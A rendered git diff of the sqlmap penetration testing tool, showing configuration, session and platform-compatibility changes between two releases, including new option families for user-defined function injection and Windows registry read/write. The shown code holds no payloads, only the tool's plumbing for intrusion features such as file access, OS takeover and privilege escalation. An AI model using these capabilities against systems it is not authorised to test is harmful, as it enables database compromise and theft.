inputOptionsItems = inputOptions.__dict__.items()
|
||||||
|
|
||||||
|
for key, value in inputOptionsItems:
|
||||||
|
if not conf.has_key(key) or conf[key] is None or value is not None:
|
||||||
|
conf[key] = value
|
||||||
|
|
||||||
def init(inputOptions=advancedDict()):
|
def init(inputOptions=advancedDict()):
|
||||||
"""
|
"""
|
||||||
@@ -943,6 +976,9 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setConfAttributes()
|
__setConfAttributes()
|
||||||
__setKnowledgeBaseAttributes()
|
__setKnowledgeBaseAttributes()
|
||||||
__cleanupOptions()
|
__cleanupOptions()
|
||||||
|
|
||||||
|
parseTargetUrl()
|
||||||
|
|
||||||
__setHTTPTimeout()
|
__setHTTPTimeout()
|
||||||
__setHTTPCookies()
|
__setHTTPCookies()
|
||||||
__setHTTPReferer()
|
__setHTTPReferer()
|
||||||
|
|||||||
@@ -22,20 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
optDict = {
|
optDict = {
|
||||||
# Family: { "parameter_name": "parameter_datatype" },
|
# Family: { "parameter_name": "parameter_datatype" },
|
||||||
"Target": {
|
"Target": {
|
||||||
"url": "string",
|
"url": "string",
|
||||||
"list": "string",
|
"list": "string",
|
||||||
"googleDork": "string",
|
"googleDork": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Request": {
|
"Request": {
|
||||||
"method": "string",
|
"method": "string",
|
||||||
"data": "string",
|
"data": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
|
"dropSetCookie": "boolean",
|
||||||
"referer": "string",
|
"referer": "string",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
"userAgentsFile": "string",
|
"userAgentsFile": "string",
|
||||||
@@ -45,7 +44,7 @@ optDict = {
|
|||||||
"proxy": "string",
|
"proxy": "string",
|
||||||
"threads": "integer",
|
"threads": "integer",
|
||||||
"delay": "float",
|
"delay": "float",
|
||||||
"timeout": "float",
|
"timeout": "float"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Injection": {
|
"Injection": {
|
||||||
@@ -57,7 +56,7 @@ optDict = {
|
|||||||
"string": "string",
|
"string": "string",
|
||||||
"regexp": "string",
|
"regexp": "string",
|
||||||
"eString": "string",
|
"eString": "string",
|
||||||
"eRegexp": "string",
|
"eRegexp": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Techniques": {
|
"Techniques": {
|
||||||
@@ -65,11 +64,11 @@ optDict = {
|
|||||||
"timeTest": "boolean",
|
"timeTest": "boolean",
|
||||||
"unionTest": "boolean",
|
"unionTest": "boolean",
|
||||||
"uTech": "string",
|
"uTech": "string",
|
||||||
"unionUse": "boolean",
|
"unionUse": "boolean"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Fingerprint": {
|
||||||
"extensiveFp": "boolean",
|
"extensiveFp": "boolean"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Enumeration": {
|
"Enumeration": {
|
||||||
@@ -92,14 +91,21 @@ optDict = {
|
|||||||
"excludeSysDbs": "boolean",
|
"excludeSysDbs": "boolean",
|
||||||
"limitStart": "integer",
|
"limitStart": "integer",
|
||||||
"limitStop": "integer",
|
"limitStop": "integer",
|
||||||
|
"firstChar": "integer",
|
||||||
|
"lastChar": "integer",
|
||||||
"query": "string",
|
"query": "string",
|
||||||
"sqlShell": "boolean",
|
"sqlShell": "boolean"
|
||||||
|
},
|
||||||
|
|
||||||
|
"User-defined function": {
|
||||||
|
"udfInject": "boolean",
|
||||||
|
"shLib": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"File system": {
|
"File system": {
|
||||||
"rFile": "string",
|
"rFile": "string",
|
||||||
"wFile": "string",
|
"wFile": "string",
|
||||||
"dFile": "string",
|
"dFile": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Takeover": {
|
"Takeover": {
|
||||||
@@ -110,15 +116,26 @@ optDict = {
|
|||||||
"osBof": "boolean",
|
"osBof": "boolean",
|
||||||
"privEsc": "boolean",
|
"privEsc": "boolean",
|
||||||
"msfPath": "string",
|
"msfPath": "string",
|
||||||
"tmpPath": "string",
|
"tmpPath": "string"
|
||||||
|
},
|
||||||
|
|
||||||
|
"Windows": {
|
||||||
|
"regRead": "boolean",
|
||||||
|
"regAdd": "boolean",
|
||||||
|
"regDel": "boolean",
|
||||||
|
"regKey": "string",
|
||||||
|
"regVal": "string",
|
||||||
|
"regData": "string",
|
||||||
|
"regType": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"eta": "boolean",
|
|
||||||
"verbose": "integer",
|
|
||||||
"updateAll": "boolean",
|
|
||||||
"sessionFile": "string",
|
"sessionFile": "string",
|
||||||
|
"eta": "boolean",
|
||||||
|
"googlePage": "integer",
|
||||||
|
"updateAll": "boolean",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
"cleanup": "boolean",
|
"cleanup": "boolean",
|
||||||
|
"verbose": "integer"
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
|
||||||
|
|
||||||
class ProgressBar:
|
class ProgressBar:
|
||||||
"""
|
"""
|
||||||
This class defines methods to update and draw a progress bar
|
This class defines methods to update and draw a progress bar
|
||||||
@@ -42,7 +39,6 @@ class ProgressBar:
|
|||||||
self.__amount = 0
|
self.__amount = 0
|
||||||
self.update()
|
self.update()
|
||||||
|
|
||||||
|
|
||||||
def __convertSeconds(self, value):
|
def __convertSeconds(self, value):
|
||||||
seconds = value
|
seconds = value
|
||||||
minutes = seconds / 60
|
minutes = seconds / 60
|
||||||
@@ -50,7 +46,6 @@ class ProgressBar:
|
|||||||
|
|
||||||
return "%.2d:%.2d" % (minutes, seconds)
|
return "%.2d:%.2d" % (minutes, seconds)
|
||||||
|
|
||||||
|
|
||||||
def update(self, newAmount=0):
|
def update(self, newAmount=0):
|
||||||
"""
|
"""
|
||||||
This method updates the progress bar
|
This method updates the progress bar
|
||||||
@@ -87,7 +82,6 @@ class ProgressBar:
|
|||||||
percentString = str(percentDone) + "%"
|
percentString = str(percentDone) + "%"
|
||||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||||
|
|
||||||
|
|
||||||
def draw(self, eta=0):
|
def draw(self, eta=0):
|
||||||
"""
|
"""
|
||||||
This method draws the progress bar if it has changed
|
This method draws the progress bar if it has changed
|
||||||
@@ -102,7 +96,6 @@ class ProgressBar:
|
|||||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||||
|
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
"""
|
"""
|
||||||
This method returns the progress bar string
|
This method returns the progress bar string
|
||||||
|
|||||||
@@ -27,14 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
|
|||||||
boolean and _outputfile variable used in genutils.
|
boolean and _outputfile variable used in genutils.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from readline import *
|
from readline import *
|
||||||
import readline as _rl
|
import readline as _rl
|
||||||
@@ -49,7 +47,7 @@ except ImportError:
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
haveReadline = False
|
haveReadline = False
|
||||||
|
|
||||||
if 'win' in PLATFORM and haveReadline:
|
if IS_WIN and haveReadline:
|
||||||
try:
|
try:
|
||||||
_outputfile=_rl.GetOutputFile()
|
_outputfile=_rl.GetOutputFile()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
@@ -78,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
|
|||||||
|
|
||||||
uses_libedit = True
|
uses_libedit = True
|
||||||
|
|
||||||
|
|
||||||
# the clear_history() function was only introduced in Python 2.4 and is
|
# the clear_history() function was only introduced in Python 2.4 and is
|
||||||
# actually optional in the readline API, so we must explicitly check for its
|
# actually optional in the readline API, so we must explicitly check for its
|
||||||
# existence. Some known platforms actually don't have it. This thread:
|
# existence. Some known platforms actually don't have it. This thread:
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
@@ -34,7 +32,8 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
|
||||||
def setString():
|
def setString():
|
||||||
"""
|
"""
|
||||||
@@ -49,7 +48,6 @@ def setString():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||||
|
|
||||||
|
|
||||||
def setRegexp():
|
def setRegexp():
|
||||||
"""
|
"""
|
||||||
Save regular expression to match in session file.
|
Save regular expression to match in session file.
|
||||||
@@ -63,7 +61,6 @@ def setRegexp():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||||
|
|
||||||
|
|
||||||
def setMatchRatio():
|
def setMatchRatio():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries
|
not kb.resumedQueries
|
||||||
@@ -74,7 +71,6 @@ def setMatchRatio():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||||
|
|
||||||
|
|
||||||
def setInjection():
|
def setInjection():
|
||||||
"""
|
"""
|
||||||
Save information retrieved about injection place and parameter in the
|
Save information retrieved about injection place and parameter in the
|
||||||
@@ -98,7 +94,6 @@ def setInjection():
|
|||||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||||
|
|
||||||
|
|
||||||
def setParenthesis(parenthesisCount):
|
def setParenthesis(parenthesisCount):
|
||||||
"""
|
"""
|
||||||
@param parenthesisCount: number of parenthesis to be set into the
|
@param parenthesisCount: number of parenthesis to be set into the
|
||||||
@@ -116,7 +111,6 @@ def setParenthesis(parenthesisCount):
|
|||||||
|
|
||||||
kb.parenthesis = parenthesisCount
|
kb.parenthesis = parenthesisCount
|
||||||
|
|
||||||
|
|
||||||
def setDbms(dbms):
|
def setDbms(dbms):
|
||||||
"""
|
"""
|
||||||
@param dbms: database management system to be set into the knowledge
|
@param dbms: database management system to be set into the knowledge
|
||||||
@@ -133,8 +127,10 @@ def setDbms(dbms):
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||||
|
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
@@ -144,7 +140,6 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||||
|
|
||||||
|
|
||||||
def setOs():
|
def setOs():
|
||||||
"""
|
"""
|
||||||
Example of kb.bannerFp dictionary:
|
Example of kb.bannerFp dictionary:
|
||||||
@@ -183,7 +178,7 @@ def setOs():
|
|||||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||||
kb.osSP = 0
|
kb.osSP = 0
|
||||||
|
|
||||||
if kb.os and kb.osVersion:
|
if kb.os and kb.osVersion and kb.osSP:
|
||||||
infoMsg += " Service Pack %d" % kb.osSP
|
infoMsg += " Service Pack %d" % kb.osSP
|
||||||
|
|
||||||
if infoMsg:
|
if infoMsg:
|
||||||
@@ -192,7 +187,6 @@ def setOs():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||||
|
|
||||||
|
|
||||||
def setStacked():
|
def setStacked():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
@@ -205,7 +199,6 @@ def setStacked():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||||
|
|
||||||
|
|
||||||
def setUnion(comment=None, count=None, position=None):
|
def setUnion(comment=None, count=None, position=None):
|
||||||
"""
|
"""
|
||||||
@param comment: union comment to save in session file
|
@param comment: union comment to save in session file
|
||||||
@@ -245,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
|
|||||||
|
|
||||||
kb.unionPosition = position
|
kb.unionPosition = position
|
||||||
|
|
||||||
|
|
||||||
def setRemoteTempPath():
|
def setRemoteTempPath():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
@@ -255,18 +247,6 @@ def setRemoteTempPath():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||||
|
|
||||||
|
|
||||||
def setDEP():
|
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def resumeConfKb(expression, url, value):
|
def resumeConfKb(expression, url, value):
|
||||||
if expression == "String" and url == conf.url:
|
if expression == "String" and url == conf.url:
|
||||||
string = value[:-1]
|
string = value[:-1]
|
||||||
@@ -368,20 +348,23 @@ def resumeConfKb(expression, url, value):
|
|||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "DBMS" and url == conf.url:
|
elif expression == "DBMS" and url == conf.url:
|
||||||
dbms = value[:-1]
|
dbms = value[:-1]
|
||||||
|
dbms = dbms.lower()
|
||||||
|
dbmsVersion = None
|
||||||
|
|
||||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||||
logMsg += "from session file"
|
logMsg += "from session file"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
dbms = dbms.lower()
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
dbms = dbmsRegExp.group(1)
|
dbms = dbmsRegExp.group(1)
|
||||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||||
|
|
||||||
if conf.dbms and conf.dbms.lower() != dbms:
|
if conf.dbms and conf.dbms.lower() != dbms:
|
||||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||||
@@ -392,9 +375,11 @@ def resumeConfKb(expression, url, value):
|
|||||||
test = readInput(message, default="N")
|
test = readInput(message, default="N")
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not test or test[0] in ("n", "N"):
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
else:
|
else:
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
|
|
||||||
elif expression == "OS" and url == conf.url:
|
elif expression == "OS" and url == conf.url:
|
||||||
os = value[:-1]
|
os = value[:-1]
|
||||||
@@ -451,10 +436,3 @@ def resumeConfKb(expression, url, value):
|
|||||||
logMsg = "resuming remote absolute path of temporary "
|
logMsg = "resuming remote absolute path of temporary "
|
||||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "DEP" and url == conf.url:
|
|
||||||
kb.dep = value[:-1]
|
|
||||||
|
|
||||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
|
||||||
logMsg += "from session file"
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|||||||
@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.7rc1"
|
VERSION = "0.8-rc3"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
@@ -47,6 +44,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
|
|||||||
LOGGER.setLevel(logging.WARN)
|
LOGGER.setLevel(logging.WARN)
|
||||||
|
|
||||||
# System variables
|
# System variables
|
||||||
|
IS_WIN = subprocess.mswindows
|
||||||
PLATFORM = sys.platform.lower()
|
PLATFORM = sys.platform.lower()
|
||||||
PYVERSION = sys.version.split()[0]
|
PYVERSION = sys.version.split()[0]
|
||||||
|
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import atexit
|
import atexit
|
||||||
import os
|
import os
|
||||||
import rlcompleter
|
import rlcompleter
|
||||||
@@ -33,19 +31,16 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
|
|
||||||
|
|
||||||
def saveHistory():
|
def saveHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
readline.write_history_file(historyPath)
|
readline.write_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def loadHistory():
|
def loadHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
|
|
||||||
if os.path.exists(historyPath):
|
if os.path.exists(historyPath):
|
||||||
readline.read_history_file(historyPath)
|
readline.read_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def queriesForAutoCompletion():
|
def queriesForAutoCompletion():
|
||||||
autoComplQueries = {}
|
autoComplQueries = {}
|
||||||
|
|
||||||
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
|
|||||||
|
|
||||||
return autoComplQueries
|
return autoComplQueries
|
||||||
|
|
||||||
|
|
||||||
class CompleterNG(rlcompleter.Completer):
|
class CompleterNG(rlcompleter.Completer):
|
||||||
def global_matches(self, text):
|
def global_matches(self, text):
|
||||||
"""
|
"""
|
||||||
@@ -73,14 +67,13 @@ class CompleterNG(rlcompleter.Completer):
|
|||||||
matches = []
|
matches = []
|
||||||
n = len(text)
|
n = len(text)
|
||||||
|
|
||||||
for list in [ self.namespace ]:
|
for ns in [ self.namespace ]:
|
||||||
for word in list:
|
for word in ns:
|
||||||
if word[:n] == text:
|
if word[:n] == text:
|
||||||
matches.append(word)
|
matches.append(word)
|
||||||
|
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
|
|
||||||
def autoCompletion(sqlShell=False, osShell=False):
|
def autoCompletion(sqlShell=False, osShell=False):
|
||||||
# First of all we check if the readline is available, by default
|
# First of all we check if the readline is available, by default
|
||||||
# it is not in Python default installation on Windows
|
# it is not in Python default installation on Windows
|
||||||
|
|||||||
@@ -22,20 +22,20 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import fcntl
|
|
||||||
import errno
|
import errno
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
|
||||||
if (sys.hexversion >> 16) >= 0x202:
|
if not IS_WIN:
|
||||||
FCNTL = fcntl
|
import fcntl
|
||||||
else:
|
|
||||||
import FCNTL
|
|
||||||
|
|
||||||
|
if (sys.hexversion >> 16) >= 0x202:
|
||||||
|
FCNTL = fcntl
|
||||||
|
else:
|
||||||
|
import FCNTL
|
||||||
|
|
||||||
def blockingReadFromFD(fd):
|
def blockingReadFromFD(fd):
|
||||||
# Quick twist around original Twisted function
|
# Quick twist around original Twisted function
|
||||||
@@ -58,8 +58,7 @@ def blockingReadFromFD(fd):
|
|||||||
if not output:
|
if not output:
|
||||||
raise EOFError, "fd %s has been closed." % fd
|
raise EOFError, "fd %s has been closed." % fd
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def blockingWriteToFD(fd, data):
|
def blockingWriteToFD(fd, data):
|
||||||
# Another quick twist
|
# Another quick twist
|
||||||
@@ -78,12 +77,12 @@ def blockingWriteToFD(fd, data):
|
|||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
def setNonBlocking(fd):
|
def setNonBlocking(fd):
|
||||||
"""
|
"""
|
||||||
Make a file descriptor non-blocking
|
Make a file descriptor non-blocking
|
||||||
"""
|
"""
|
||||||
|
|
||||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
if IS_WIN is not True:
|
||||||
flags = flags | os.O_NONBLOCK
|
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
flags = flags | os.O_NONBLOCK
|
||||||
|
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||||
|
|||||||
@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import readInput
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.convert import urldecode
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -43,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
|
|||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
from lib.core.session import resumeConfKb
|
from lib.core.session import resumeConfKb
|
||||||
|
|
||||||
|
|
||||||
def __setRequestParams():
|
def __setRequestParams():
|
||||||
"""
|
"""
|
||||||
Check and set the parameters and perform checks on 'data' option for
|
Check and set the parameters and perform checks on 'data' option for
|
||||||
@@ -67,21 +62,20 @@ def __setRequestParams():
|
|||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
if conf.data:
|
if conf.data:
|
||||||
urlDecodedData = urldecode(conf.data).replace("%", "%%")
|
conf.parameters["POST"] = conf.data
|
||||||
conf.parameters["POST"] = urlDecodedData
|
__paramDict = paramToDict("POST", conf.data)
|
||||||
__paramDict = paramToDict("POST", urlDecodedData)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["POST"] = __paramDict
|
conf.paramDict["POST"] = __paramDict
|
||||||
__testableParameters = True
|
__testableParameters = True
|
||||||
|
|
||||||
|
conf.method = "POST"
|
||||||
|
|
||||||
# Perform checks on Cookie parameters
|
# Perform checks on Cookie parameters
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
# TODO: sure about decoding the cookie?
|
conf.cookie = sanitizeCookie(conf.cookie)
|
||||||
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
conf.parameters["Cookie"] = conf.cookie
|
||||||
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||||
conf.parameters["Cookie"] = urlDecodedCookie
|
|
||||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
